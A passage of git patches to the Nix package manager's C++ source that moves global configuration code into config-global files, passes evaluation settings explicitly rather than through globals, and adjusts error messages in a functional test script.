+ src/nix/develop.cc | 1 + src/nix/unix/daemon.cc | 1 + tests/functional/plugins/plugintest.cc | 2 +- tests/unit/libutil/nix_api_util.cc | 2 +- 22 files changed, 117 insertions(+), 92 deletions(-) create mode 100644 src/libutil/config-global.cc create mode 100644 src/libutil/config-global.hh diff --git a/src/libcmd/repl.cc b/src/libcmd/repl.cc index 1e80d14e1..53dd94c7a 100644 --- a/src/libcmd/repl.cc +++ b/src/libcmd/repl.cc @@ -8,6 +8,7 @@ #include "ansicolor.hh" #include "shared.hh" +#include "config-global.hh" #include "eval.hh" #include "eval-cache.hh" #include "eval-inline.hh" diff --git a/src/libexpr/eval-settings.cc b/src/libexpr/eval-settings.cc index 85b1677ea..a642bb684 100644 --- a/src/libexpr/eval-settings.cc +++ b/src/libexpr/eval-settings.cc @@ -1,4 +1,5 @@ #include "users.hh" +#include "config-global.hh" #include "globals.hh" #include "profiles.hh" #include "eval.hh" diff --git a/src/libexpr/flake/config.cc b/src/libexpr/flake/config.cc index e0c5d4512..03430b0e3 100644 --- a/src/libexpr/flake/config.cc +++ b/src/libexpr/flake/config.cc @@ -1,4 +1,5 @@ #include "users.hh" +#include "config-global.hh" #include "globals.hh" #include "fetch-settings.hh" #include "flake.hh" diff --git a/src/libfetchers/fetch-settings.cc b/src/libfetchers/fetch-settings.cc index e7d5244dc..21c42567c 100644 --- a/src/libfetchers/fetch-settings.cc +++ b/src/libfetchers/fetch-settings.cc @@ -1,4 +1,5 @@ #include "fetch-settings.hh" +#include "config-global.hh" namespace nix { diff --git a/src/libmain/common-args.cc b/src/libmain/common-args.cc index 5b49aaabc..a94845ab8 100644 --- a/src/libmain/common-args.cc +++ b/src/libmain/common-args.cc @@ -1,5 +1,6 @@ #include "common-args.hh" #include "args/root.hh" +#include "config-global.hh" #include "globals.hh" #include "logging.hh" #include "loggers.hh" diff --git a/src/libstore/build/derivation-goal.cc b/src/libstore/build/derivation-goal.cc index 146a060f3..64b8495e1 100644 --- a/src/libstore/build/derivation-goal.cc +++ b/src/libstore/build/derivation-goal.cc @@ -3,6 +3,7 @@ # include "hook-instance.hh" #endif #include "processes.hh" +#include "config-global.hh" #include "worker.hh" #include "builtins.hh" #include "builtins/buildenv.hh" diff --git a/src/libstore/filetransfer.cc b/src/libstore/filetransfer.cc index a54ebdcf3..cbbb0fe7a 100644 --- a/src/libstore/filetransfer.cc +++ b/src/libstore/filetransfer.cc @@ -1,5 +1,6 @@ #include "filetransfer.hh" #include "globals.hh" +#include "config-global.hh" #include "store-api.hh" #include "s3.hh" #include "compression.hh" diff --git a/src/libstore/globals.cc b/src/libstore/globals.cc index 88f899dbf..8fec10d51 100644 --- a/src/libstore/globals.cc +++ b/src/libstore/globals.cc @@ -1,4 +1,5 @@ #include "globals.hh" +#include "config-global.hh" #include "current-process.hh" #include "archive.hh" #include "args.hh" diff --git a/src/libstore/unix/build/hook-instance.cc b/src/libstore/unix/build/hook-instance.cc index 5d045ec3d..dfc208798 100644 --- a/src/libstore/unix/build/hook-instance.cc +++ b/src/libstore/unix/build/hook-instance.cc @@ -1,4 +1,5 @@ #include "globals.hh" +#include "config-global.hh" #include "hook-instance.hh" #include "file-system.hh" #include "child.hh" diff --git a/src/libutil-c/nix_api_util.cc b/src/libutil-c/nix_api_util.cc index 0a9b49345..4f65a4c12 100644 --- a/src/libutil-c/nix_api_util.cc +++ b/src/libutil-c/nix_api_util.cc @@ -1,5 +1,5 @@ #include "nix_api_util.h" -#include "config.hh" +#include "config-global.hh" #include "error.hh" #include "nix_api_util_internal.h" #include "util.hh" diff --git a/src/libutil/archive.cc b/src/libutil/archive.cc index d20936de4..22be392d4 100644 --- a/src/libutil/archive.cc +++ b/src/libutil/archive.cc @@ -6,7 +6,7 @@ #include // for strcasecmp #include "archive.hh" -#include "config.hh" +#include "config-global.hh" #include "posix-source-accessor.hh" #include "source-path.hh" #include "file-system.hh" diff --git a/src/libutil/config-global.cc b/src/libutil/config-global.cc new file mode 100644 index 000000000..e8025b303 --- /dev/null +++ b/src/libutil/config-global.cc @@ -0,0 +1,66 @@ +#include "config-global.hh" + +namespace nix { + +bool GlobalConfig::set(const std::string & name, const std::string & value) +{ + for (auto & config : *configRegistrations) + if (config->set(name, value)) return true; + + unknownSettings.emplace(name, value); + + return false; +} + +void GlobalConfig::getSettings(std::map & res, bool overriddenOnly) +{ + for (auto & config : *configRegistrations) + config->getSettings(res, overriddenOnly); +} + +void GlobalConfig::resetOverridden() +{ + for (auto & config : *configRegistrations) + config->resetOverridden(); +} + +nlohmann::json GlobalConfig::toJSON() +{ + auto res = nlohmann::json::object(); + for (const auto & config : *configRegistrations) + res.update(config->toJSON()); + return res; +} + +std::string GlobalConfig::toKeyValue() +{ + std::string res; + std::map settings; + globalConfig.getSettings(settings); + for (const auto & s : settings) + res += fmt("%s = %s\n", s.first, s.second.value); + return res; +} + +void GlobalConfig::convertToArgs(Args & args, const std::string & category) +{ + for (auto & config : *configRegistrations) + config->convertToArgs(args, category); +} + +GlobalConfig globalConfig; + +GlobalConfig::ConfigRegistrations * GlobalConfig::configRegistrations; + +GlobalConfig::Register::Register(Config * config) +{ + if (!configRegistrations) + configRegistrations = new ConfigRegistrations; + configRegistrations->emplace_back(config); +} + +ExperimentalFeatureSettings experimentalFeatureSettings; + +static GlobalConfig::Register rSettings(&experimentalFeatureSettings); + +} diff --git a/src/libutil/config-global.hh b/src/libutil/config-global.hh new file mode 100644 index 000000000..1b7b69a0d --- /dev/null +++ b/src/libutil/config-global.hh @@ -0,0 +1,33 @@ +#pragma once +///@file + +#include "config.hh" + +namespace nix { + +struct GlobalConfig : public AbstractConfig +{ + typedef std::vector ConfigRegistrations; + static ConfigRegistrations * configRegistrations; + + bool set(const std::string & name, const std::string & value) override; + + void getSettings(std::map & res, bool overriddenOnly = false) override; + + void resetOverridden() override; + + nlohmann::json toJSON() override; + + std::string toKeyValue() override; + + void convertToArgs(Args & args, const std::string & category) override; + + struct Register + { + Register(Config * config); + }; +}; + +extern GlobalConfig globalConfig; + +} diff --git a/src/libutil/config.cc b/src/libutil/config.cc index efde8591b..192a4ecb9 100644 --- a/src/libutil/config.cc +++ b/src/libutil/config.cc @@ -443,67 +443,6 @@ void OptionalPathSetting::operator =(const std::optional & v) this->assign(v); } -bool GlobalConfig::set(const std::string & name, const std::string & value) -{ - for (auto & config : *configRegistrations) - if (config->set(name, value)) return true; - - unknownSettings.emplace(name, value); - - return false; -} - -void GlobalConfig::getSettings(std::map & res, bool overriddenOnly) -{ - for (auto & config : *configRegistrations) - config->getSettings(res, overriddenOnly); -} - -void GlobalConfig::resetOverridden() -{ - for (auto & config : *configRegistrations) - config->resetOverridden(); -} - -nlohmann::json GlobalConfig::toJSON() -{ - auto res = nlohmann::json::object(); - for (const auto & config : *configRegistrations) - res.update(config->toJSON()); - return res; -} - -std::string GlobalConfig::toKeyValue() -{ - std::string res; - std::map settings; - globalConfig.getSettings(settings); - for (const auto & s : settings) - res += fmt("%s = %s\n", s.first, s.second.value); - return res; -} - -void GlobalConfig::convertToArgs(Args & args, const std::string & category) -{ - for (auto & config : *configRegistrations) - config->convertToArgs(args, category); -} - -GlobalConfig globalConfig; - -GlobalConfig::ConfigRegistrations * GlobalConfig::configRegistrations; - -GlobalConfig::Register::Register(Config * config) -{ - if (!configRegistrations) - configRegistrations = new ConfigRegistrations; - configRegistrations->emplace_back(config); -} - -ExperimentalFeatureSettings experimentalFeatureSettings; - -static GlobalConfig::Register rSettings(&experimentalFeatureSettings); - bool ExperimentalFeatureSettings::isEnabled(const ExperimentalFeature & feature) const { auto & f = experimentalFeatures.get(); diff --git a/src/libutil/config.hh b/src/libutil/config.hh index 07322b60d..1952ba1b8 100644 --- a/src/libutil/config.hh +++ b/src/libutil/config.hh @@ -375,31 +375,6 @@ public: void operator =(const std::optional & v); }; -struct GlobalConfig : public AbstractConfig -{ - typedef std::vector ConfigRegistrations; - static ConfigRegistrations * configRegistrations; - - bool set(const std::string & name, const std::string & value) override; - - void getSettings(std::map & res, bool overriddenOnly = false) override; - - void resetOverridden() override; - - nlohmann::json toJSON() override; - - std::string toKeyValue() override; - - void convertToArgs(Args & args, const std::string & category) override; - - struct Register - { - Register(Config * config); - }; -}; - -extern GlobalConfig globalConfig; - struct ExperimentalFeatureSettings : Config { diff --git a/src/libutil/fs-sink.cc b/src/libutil/fs-sink.cc index 91070ea89..a6a743737 100644 --- a/src/libutil/fs-sink.cc +++ b/src/libutil/fs-sink.cc @@ -1,7 +1,7 @@ #include #include "error.hh" -#include "config.hh" +#include "config-global.hh" #include "fs-sink.hh" #if _WIN32 diff --git a/src/libutil/logging.cc b/src/libutil/logging.cc index 5fa01f0d9..55751b4cf 100644 --- a/src/libutil/logging.cc +++ b/src/libutil/logging.cc @@ -3,7 +3,7 @@ #include "environment-variables.hh" #include "terminal.hh" #include "util.hh" -#include "config.hh" +#include "config-global.hh" #include "source-path.hh" #include "position.hh" diff --git a/src/nix/config.cc b/src/nix/config.cc index 52706afcf..07f975a00 100644 --- a/src/nix/config.cc +++ b/src/nix/config.cc @@ -2,6 +2,7 @@ #include "common-args.hh" #include "shared.hh" #include "store-api.hh" +#include "config-global.hh" #include diff --git a/src/nix/develop.cc b/src/nix/develop.cc index 27287a1a8..a7acbff0b 100644 --- a/src/nix/develop.cc +++ b/src/nix/develop.cc @@ -1,3 +1,4 @@ +#include "config-global.hh" #include "eval.hh" #include "installable-flake.hh" #include "command-installable-value.hh" diff --git a/src/nix/unix/daemon.cc b/src/nix/unix/daemon.cc index f1fc51682..41ea1f5a4 100644 --- a/src/nix/unix/daemon.cc +++ b/src/nix/unix/daemon.cc @@ -10,6 +10,7 @@ #include "serialise.hh" #include "archive.hh" #include "globals.hh" +#include "config-global.hh" #include "derivations.hh" #include "finally.hh" #include "legacy.hh" diff --git a/tests/functional/plugins/plugintest.cc b/tests/functional/plugins/plugintest.cc index e02fd68d5..7433ad190 100644 --- a/tests/functional/plugins/plugintest.cc +++ b/tests/functional/plugins/plugintest.cc @@ -1,4 +1,4 @@ -#include "config.hh" +#include "config-global.hh" #include "primops.hh" using namespace nix; diff --git a/tests/unit/libutil/nix_api_util.cc b/tests/unit/libutil/nix_api_util.cc index d2999f55b..2b7e38225 100644 --- a/tests/unit/libutil/nix_api_util.cc +++ b/tests/unit/libutil/nix_api_util.cc @@ -1,4 +1,4 @@ -#include "config.hh" +#include "config-global.hh" #include "args.hh" #include "nix_api_util.h" #include "nix_api_util_internal.h" From b46e13840b948a363e2aa082f6064dfaeab58c06 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 24 Jun 2024 12:07:08 -0400 Subject: [PATCH 0878/1251] Format `config-global.{cc,hh}` Since the code is factored out, it is no longer avoding the formatter. --- src/libutil/config-global.cc | 3 ++- src/libutil/config-global.hh | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/src/libutil/config-global.cc b/src/libutil/config-global.cc index e8025b303..4c08898a4 100644 --- a/src/libutil/config-global.cc +++ b/src/libutil/config-global.cc @@ -5,7 +5,8 @@ namespace nix { bool GlobalConfig::set(const std::string & name, const std::string & value) { for (auto & config : *configRegistrations) - if (config->set(name, value)) return true; + if (config->set(name, value)) + return true; unknownSettings.emplace(name, value); diff --git a/src/libutil/config-global.hh b/src/libutil/config-global.hh index 1b7b69a0d..2caf51524 100644 --- a/src/libutil/config-global.hh +++ b/src/libutil/config-global.hh @@ -7,7 +7,7 @@ namespace nix { struct GlobalConfig : public AbstractConfig { - typedef std::vector ConfigRegistrations; + typedef std::vector ConfigRegistrations; static ConfigRegistrations * configRegistrations; bool set(const std::string & name, const std::string & value) override; From cb0c868da4ced09179182792b8be1d7259238f98 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 24 Jun 2024 11:55:36 -0400 Subject: [PATCH 0879/1251] Allow loading config files into other config objects This gives us some hope of moving away from global variables. --- src/libstore/globals.cc | 10 +++++----- src/libstore/globals.hh | 8 +++++++- 2 files changed, 12 insertions(+), 6 deletions(-) diff --git a/src/libstore/globals.cc b/src/libstore/globals.cc index 8fec10d51..7e1d7ea6d 100644 --- a/src/libstore/globals.cc +++ b/src/libstore/globals.cc @@ -124,12 +124,12 @@ Settings::Settings() }; } -void loadConfFile() +void loadConfFile(AbstractConfig & config) { auto applyConfigFile = [&](const Path & path) { try { std::string contents = readFile(path); - globalConfig.applyConfig(contents, path); + config.applyConfig(contents, path); } catch (SystemError &) { } }; @@ -137,7 +137,7 @@ void loadConfFile() /* We only want to send overrides to the daemon, i.e. stuff from ~/.nix/nix.conf or the command line. */ - globalConfig.resetOverridden(); + config.resetOverridden(); auto files = settings.nixUserConfFiles; for (auto file = files.rbegin(); file != files.rend(); file++) { @@ -146,7 +146,7 @@ void loadConfFile() auto nixConfEnv = getEnv("NIX_CONFIG"); if (nixConfEnv.has_value()) { - globalConfig.applyConfig(nixConfEnv.value(), "NIX_CONFIG"); + config.applyConfig(nixConfEnv.value(), "NIX_CONFIG"); } } @@ -438,7 +438,7 @@ void initLibStore(bool loadConfig) { initLibUtil(); if (loadConfig) - loadConfFile(); + loadConfFile(globalConfig); preloadNSS(); diff --git a/src/libstore/globals.hh b/src/libstore/globals.hh index 843e77bcf..439e9f4fc 100644 --- a/src/libstore/globals.hh +++ b/src/libstore/globals.hh @@ -1284,7 +1284,13 @@ extern Settings settings; */ void initPlugins(); -void loadConfFile(); +/** + * Load the configuration (from `nix.conf`, `NIX_CONFIG`, etc.) into the + * given configuration object. + * + * Usually called with `globalConfig`. + */ +void loadConfFile(AbstractConfig & config); // Used by the Settings constructor std::vector getUserConfigFiles(); From d4ca634508236ff0343f200c9aef4c21e752e961 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 24 Jun 2024 18:11:10 +0200 Subject: [PATCH 0880/1251] tests/functional: Differentiate die and fail --- tests/functional/common/vars-and-functions.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/tests/functional/common/vars-and-functions.sh b/tests/functional/common/vars-and-functions.sh index 8d99800ef..37c109015 100644 --- a/tests/functional/common/vars-and-functions.sh +++ b/tests/functional/common/vars-and-functions.sh @@ -11,7 +11,7 @@ isTestOnNixOS() { } die() { - echo "fatal error: $*" >&2 + echo "unexpected fatal error: $*" >&2 exit 1 } @@ -216,7 +216,7 @@ requireGit() { } fail() { - echo "$1" >&2 + echo "test failed: $1" >&2 exit 1 } From 5a7ccd658093c7c0598d4e5cce823aee9a3265f1 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 24 Jun 2024 18:11:58 +0200 Subject: [PATCH 0881/1251] tests/functional: Print all args of fail() --- tests/functional/common/vars-and-functions.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/functional/common/vars-and-functions.sh b/tests/functional/common/vars-and-functions.sh index 37c109015..4316a30d5 100644 --- a/tests/functional/common/vars-and-functions.sh +++ b/tests/functional/common/vars-and-functions.sh @@ -216,7 +216,7 @@ requireGit() { } fail() { - echo "test failed: $1" >&2 + echo "test failed: $*" >&2 exit 1 } From 52bfccf8d8112ba738e6fc9e4891f85b6b864566 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Fri, 14 Jun 2024 12:41:09 -0400 Subject: [PATCH 0882/1251] No global eval settings in `libnixexpr` Progress on #5638 There is still a global eval settings, but it pushed down into `libnixcmd`, which is a lot less bad a place for this sort of thing. --- .editorconfig | 8 +++--- src/libcmd/command.cc | 8 +++--- src/libcmd/common-eval-args.cc | 7 +++++ src/libcmd/common-eval-args.hh | 6 +++++ src/libexpr-c/nix_api_expr.cc | 17 +++++++++++- src/libexpr-c/nix_api_expr_internal.h | 2 ++ src/libexpr/eval-settings.cc | 13 ++++----- src/libexpr/eval-settings.hh | 10 +++---- src/libexpr/eval.cc | 29 +++++++++++---------- src/libexpr/eval.hh | 4 ++- src/libexpr/flake/config.cc | 1 - src/libexpr/flake/flake.cc | 6 ++--- src/libexpr/parser-state.hh | 1 + src/libexpr/parser.y | 6 +++-- src/libexpr/primops.cc | 25 +++++++++--------- src/libexpr/primops/fetchMercurial.cc | 2 +- src/libexpr/primops/fetchTree.cc | 8 +++--- src/nix-build/nix-build.cc | 2 +- src/nix-env/nix-env.cc | 2 +- src/nix-instantiate/nix-instantiate.cc | 2 +- src/nix/main.cc | 4 +-- src/nix/prefetch.cc | 2 +- src/nix/upgrade-nix.cc | 2 +- tests/unit/libexpr-support/tests/libexpr.hh | 6 +++-- 24 files changed, 102 insertions(+), 71 deletions(-) diff --git a/.editorconfig b/.editorconfig index 86360e658..e1c8bae39 100644 --- a/.editorconfig +++ b/.editorconfig @@ -4,20 +4,20 @@ # Top-most EditorConfig file root = true -# Unix-style newlines with a newline ending every file, utf-8 charset +# Unix-style newlines with a newline ending every file, UTF-8 charset [*] end_of_line = lf insert_final_newline = true trim_trailing_whitespace = true charset = utf-8 -# Match nix files, set indent to spaces with width of two +# Match Nix files, set indent to spaces with width of two [*.nix] indent_style = space indent_size = 2 -# Match c++/shell/perl, set indent to spaces with width of four -[*.{hpp,cc,hh,sh,pl,xs}] +# Match C++/C/shell/Perl, set indent to spaces with width of four +[*.{hpp,cc,hh,c,h,sh,pl,xs}] indent_style = space indent_size = 4 diff --git a/src/libcmd/command.cc b/src/libcmd/command.cc index 543250da3..23aaaf2ad 100644 --- a/src/libcmd/command.cc +++ b/src/libcmd/command.cc @@ -126,13 +126,11 @@ ref EvalCommand::getEvalState() { if (!evalState) { evalState = + std::allocate_shared( #if HAVE_BOEHMGC - std::allocate_shared(traceable_allocator(), - lookupPath, getEvalStore(), getStore()) - #else - std::make_shared( - lookupPath, getEvalStore(), getStore()) + traceable_allocator(), #endif + lookupPath, getEvalStore(), evalSettings, getStore()) ; evalState->repair = repair; diff --git a/src/libcmd/common-eval-args.cc b/src/libcmd/common-eval-args.cc index cd0f19257..77dba546d 100644 --- a/src/libcmd/common-eval-args.cc +++ b/src/libcmd/common-eval-args.cc @@ -1,6 +1,7 @@ #include "eval-settings.hh" #include "common-eval-args.hh" #include "shared.hh" +#include "config-global.hh" #include "filetransfer.hh" #include "eval.hh" #include "fetchers.hh" @@ -13,6 +14,12 @@ namespace nix { +EvalSettings evalSettings { + settings.readOnlyMode +}; + +static GlobalConfig::Register rEvalSettings(&evalSettings); + MixEvalArgs::MixEvalArgs() { addFlag({ diff --git a/src/libcmd/common-eval-args.hh b/src/libcmd/common-eval-args.hh index 75cb19334..189abf0ed 100644 --- a/src/libcmd/common-eval-args.hh +++ b/src/libcmd/common-eval-args.hh @@ -12,9 +12,15 @@ namespace nix { class Store; class EvalState; +struct EvalSettings; class Bindings; struct SourcePath; +/** + * @todo Get rid of global setttings variables + */ +extern EvalSettings evalSettings; + struct MixEvalArgs : virtual Args, virtual MixRepair { static constexpr auto category = "Common evaluation options"; diff --git a/src/libexpr-c/nix_api_expr.cc b/src/libexpr-c/nix_api_expr.cc index bdf7a1e63..13e0f5f3a 100644 --- a/src/libexpr-c/nix_api_expr.cc +++ b/src/libexpr-c/nix_api_expr.cc @@ -7,6 +7,7 @@ #include "eval.hh" #include "globals.hh" #include "util.hh" +#include "eval-settings.hh" #include "nix_api_expr.h" #include "nix_api_expr_internal.h" @@ -106,7 +107,21 @@ EvalState * nix_state_create(nix_c_context * context, const char ** lookupPath_c for (size_t i = 0; lookupPath_c[i] != nullptr; i++) lookupPath.push_back(lookupPath_c[i]); - return new EvalState{nix::EvalState(nix::LookupPath::parse(lookupPath), store->ptr)}; + void * p = ::operator new( + sizeof(EvalState), + static_cast(alignof(EvalState))); + auto * p2 = static_cast(p); + new (p) EvalState { + .settings = nix::EvalSettings{ + nix::settings.readOnlyMode, + }, + .state = nix::EvalState( + nix::LookupPath::parse(lookupPath), + store->ptr, + p2->settings), + }; + loadConfFile(p2->settings); + return p2; } NIXC_CATCH_ERRS_NULL } diff --git a/src/libexpr-c/nix_api_expr_internal.h b/src/libexpr-c/nix_api_expr_internal.h index 5a875ef39..d4ccffd29 100644 --- a/src/libexpr-c/nix_api_expr_internal.h +++ b/src/libexpr-c/nix_api_expr_internal.h @@ -2,11 +2,13 @@ #define NIX_API_EXPR_INTERNAL_H #include "eval.hh" +#include "eval-settings.hh" #include "attr-set.hh" #include "nix_api_value.h" struct EvalState { + nix::EvalSettings settings; nix::EvalState state; }; diff --git a/src/libexpr/eval-settings.cc b/src/libexpr/eval-settings.cc index a642bb684..11a62b0fd 100644 --- a/src/libexpr/eval-settings.cc +++ b/src/libexpr/eval-settings.cc @@ -45,7 +45,8 @@ static Strings parseNixPath(const std::string & s) return res; } -EvalSettings::EvalSettings() +EvalSettings::EvalSettings(bool & readOnlyMode) + : readOnlyMode{readOnlyMode} { auto var = getEnv("NIX_PATH"); if (var) nixPath = parseNixPath(*var); @@ -55,7 +56,7 @@ EvalSettings::EvalSettings() builtinsAbortOnWarn = true; } -Strings EvalSettings::getDefaultNixPath() +Strings EvalSettings::getDefaultNixPath() const { Strings res; auto add = [&](const Path & p, const std::string & s = std::string()) { @@ -68,7 +69,7 @@ Strings EvalSettings::getDefaultNixPath() } }; - if (!evalSettings.restrictEval && !evalSettings.pureEval) { + if (!restrictEval && !pureEval) { add(getNixDefExpr() + "/channels"); add(rootChannelsDir() + "/nixpkgs", "nixpkgs"); add(rootChannelsDir()); @@ -94,16 +95,12 @@ std::string EvalSettings::resolvePseudoUrl(std::string_view url) return std::string(url); } -const std::string & EvalSettings::getCurrentSystem() +const std::string & EvalSettings::getCurrentSystem() const { const auto & evalSystem = currentSystem.get(); return evalSystem != "" ? evalSystem : settings.thisSystem.get(); } -EvalSettings evalSettings; - -static GlobalConfig::Register rEvalSettings(&evalSettings); - Path getNixDefExpr() { return settings.useXDGBaseDirectories diff --git a/src/libexpr/eval-settings.hh b/src/libexpr/eval-settings.hh index d01de980f..2689a8465 100644 --- a/src/libexpr/eval-settings.hh +++ b/src/libexpr/eval-settings.hh @@ -7,9 +7,11 @@ namespace nix { struct EvalSettings : Config { - EvalSettings(); + EvalSettings(bool & readOnlyMode); - static Strings getDefaultNixPath(); + bool & readOnlyMode; + + Strings getDefaultNixPath() const; static bool isPseudoUrl(std::string_view s); @@ -74,7 +76,7 @@ struct EvalSettings : Config * Implements the `eval-system` vs `system` defaulting logic * described for `eval-system`. */ - const std::string & getCurrentSystem(); + const std::string & getCurrentSystem() const; Setting restrictEval{ this, false, "restrict-eval", @@ -193,8 +195,6 @@ struct EvalSettings : Config )"}; }; -extern EvalSettings evalSettings; - /** * Conventionally part of the default nix path in impure mode. */ diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index 7aaec2e73..551bcdcaf 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -9,7 +9,6 @@ #include "store-api.hh" #include "derivations.hh" #include "downstream-placeholder.hh" -#include "globals.hh" #include "eval-inline.hh" #include "filetransfer.hh" #include "function-trace.hh" @@ -219,8 +218,10 @@ static constexpr size_t BASE_ENV_SIZE = 128; EvalState::EvalState( const LookupPath & _lookupPath, ref store, + const EvalSettings & settings, std::shared_ptr buildStore) - : sWith(symbols.create("")) + : settings{settings} + , sWith(symbols.create("")) , sOutPath(symbols.create("outPath")) , sDrvPath(symbols.create("drvPath")) , sType(symbols.create("type")) @@ -276,10 +277,10 @@ EvalState::EvalState( , repair(NoRepair) , emptyBindings(0) , rootFS( - evalSettings.restrictEval || evalSettings.pureEval + settings.restrictEval || settings.pureEval ? ref(AllowListSourceAccessor::create(getFSSourceAccessor(), {}, - [](const CanonPath & path) -> RestrictedPathError { - auto modeInformation = evalSettings.pureEval + [&settings](const CanonPath & path) -> RestrictedPathError { + auto modeInformation = settings.pureEval ? "in pure evaluation mode (use '--impure' to override)" : "in restricted mode"; throw RestrictedPathError("access to absolute path '%1%' is forbidden %2%", path, modeInformation); @@ -330,10 +331,10 @@ EvalState::EvalState( vStringUnknown.mkString("unknown"); /* Initialise the Nix expression search path. */ - if (!evalSettings.pureEval) { + if (!settings.pureEval) { for (auto & i : _lookupPath.elements) lookupPath.elements.emplace_back(LookupPath::Elem {i}); - for (auto & i : evalSettings.nixPath.get()) + for (auto & i : settings.nixPath.get()) lookupPath.elements.emplace_back(LookupPath::Elem::parse(i)); } @@ -411,9 +412,9 @@ bool isAllowedURI(std::string_view uri, const Strings & allowedUris) void EvalState::checkURI(const std::string & uri) { - if (!evalSettings.restrictEval) return; + if (!settings.restrictEval) return; - if (isAllowedURI(uri, evalSettings.allowedUris.get())) return; + if (isAllowedURI(uri, settings.allowedUris.get())) return; /* If the URI is a path, then check it against allowedPaths as well. */ @@ -458,7 +459,7 @@ void EvalState::addConstant(const std::string & name, Value * v, Constant info) constantInfos.push_back({name2, info}); - if (!(evalSettings.pureEval && info.impureOnly)) { + if (!(settings.pureEval && info.impureOnly)) { /* Check the type, if possible. We might know the type of a thunk in advance, so be allowed @@ -1413,11 +1414,11 @@ public: void EvalState::callFunction(Value & fun, size_t nrArgs, Value * * args, Value & vRes, const PosIdx pos) { - if (callDepth > evalSettings.maxCallDepth) + if (callDepth > settings.maxCallDepth) error("stack overflow; max-call-depth exceeded").atPos(pos).debugThrow(); CallDepth _level(callDepth); - auto trace = evalSettings.traceFunctionCalls + auto trace = settings.traceFunctionCalls ? std::make_unique(positions[pos]) : nullptr; @@ -2745,7 +2746,7 @@ SourcePath EvalState::findFile(const LookupPath & lookupPath, const std::string_ return {corepkgsFS, CanonPath(path.substr(3))}; error( - evalSettings.pureEval + settings.pureEval ? "cannot look up '<%s>' in pure evaluation mode (use '--impure' to override)" : "file '%s' was not found in the Nix search path (add it using $NIX_PATH or -I)", path @@ -2825,7 +2826,7 @@ Expr * EvalState::parse( const SourcePath & basePath, std::shared_ptr & staticEnv) { - auto result = parseExprFromBuf(text, length, origin, basePath, symbols, positions, rootFS, exprSymbols); + auto result = parseExprFromBuf(text, length, origin, basePath, symbols, settings, positions, rootFS, exprSymbols); result->bindVars(*this, staticEnv); diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh index 774ded3e7..b84bc9907 100644 --- a/src/libexpr/eval.hh +++ b/src/libexpr/eval.hh @@ -30,6 +30,7 @@ namespace nix { constexpr size_t maxPrimOpArity = 8; class Store; +struct EvalSettings; class EvalState; class StorePath; struct SingleDerivedPath; @@ -39,7 +40,6 @@ namespace eval_cache { class EvalCache; } - /** * Function that implements a primop. */ @@ -162,6 +162,7 @@ struct DebugTrace { class EvalState : public std::enable_shared_from_this { public: + const EvalSettings & settings; SymbolTable symbols; PosTable positions; @@ -352,6 +353,7 @@ public: EvalState( const LookupPath & _lookupPath, ref store, + const EvalSettings & settings, std::shared_ptr buildStore = nullptr); ~EvalState(); diff --git a/src/libexpr/flake/config.cc b/src/libexpr/flake/config.cc index 03430b0e3..b348f6d44 100644 --- a/src/libexpr/flake/config.cc +++ b/src/libexpr/flake/config.cc @@ -1,6 +1,5 @@ #include "users.hh" #include "config-global.hh" -#include "globals.hh" #include "fetch-settings.hh" #include "flake.hh" diff --git a/src/libexpr/flake/flake.cc b/src/libexpr/flake/flake.cc index 3af9ef14e..67b19bd57 100644 --- a/src/libexpr/flake/flake.cc +++ b/src/libexpr/flake/flake.cc @@ -803,7 +803,7 @@ static void prim_getFlake(EvalState & state, const PosIdx pos, Value * * args, V { std::string flakeRefS(state.forceStringNoCtx(*args[0], pos, "while evaluating the argument passed to builtins.getFlake")); auto flakeRef = parseFlakeRef(flakeRefS, {}, true); - if (evalSettings.pureEval && !flakeRef.input.isLocked()) + if (state.settings.pureEval && !flakeRef.input.isLocked()) throw Error("cannot call 'getFlake' on unlocked flake reference '%s', at %s (use --impure to override)", flakeRefS, state.positions[pos]); callFlake(state, @@ -811,8 +811,8 @@ static void prim_getFlake(EvalState & state, const PosIdx pos, Value * * args, V LockFlags { .updateLockFile = false, .writeLockFile = false, - .useRegistries = !evalSettings.pureEval && fetchSettings.useRegistries, - .allowUnlocked = !evalSettings.pureEval, + .useRegistries = !state.settings.pureEval && fetchSettings.useRegistries, + .allowUnlocked = !state.settings.pureEval, }), v); } diff --git a/src/libexpr/parser-state.hh b/src/libexpr/parser-state.hh index 5a928e9aa..cff6282fa 100644 --- a/src/libexpr/parser-state.hh +++ b/src/libexpr/parser-state.hh @@ -46,6 +46,7 @@ struct ParserState PosTable::Origin origin; const ref rootFS; const Expr::AstSymbols & s; + const EvalSettings & settings; void dupAttr(const AttrPath & attrPath, const PosIdx pos, const PosIdx prevPos); void dupAttr(Symbol attr, const PosIdx pos, const PosIdx prevPos); diff --git a/src/libexpr/parser.y b/src/libexpr/parser.y index 00300449f..709a4532a 100644 --- a/src/libexpr/parser.y +++ b/src/libexpr/parser.y @@ -25,7 +25,6 @@ #include "nixexpr.hh" #include "eval.hh" #include "eval-settings.hh" -#include "globals.hh" #include "parser-state.hh" #define YYLTYPE ::nix::ParserLocation @@ -40,6 +39,7 @@ Expr * parseExprFromBuf( Pos::Origin origin, const SourcePath & basePath, SymbolTable & symbols, + const EvalSettings & settings, PosTable & positions, const ref rootFS, const Expr::AstSymbols & astSymbols); @@ -294,7 +294,7 @@ path_start $$ = new ExprPath(ref(state->rootFS), std::move(path)); } | HPATH { - if (evalSettings.pureEval) { + if (state->settings.pureEval) { throw Error( "the path '%s' can not be resolved in pure mode", std::string_view($1.p, $1.l) @@ -429,6 +429,7 @@ Expr * parseExprFromBuf( Pos::Origin origin, const SourcePath & basePath, SymbolTable & symbols, + const EvalSettings & settings, PosTable & positions, const ref rootFS, const Expr::AstSymbols & astSymbols) @@ -441,6 +442,7 @@ Expr * parseExprFromBuf( .origin = positions.addOrigin(origin, length), .rootFS = rootFS, .s = astSymbols, + .settings = settings, }; yylex_init(&scanner); diff --git 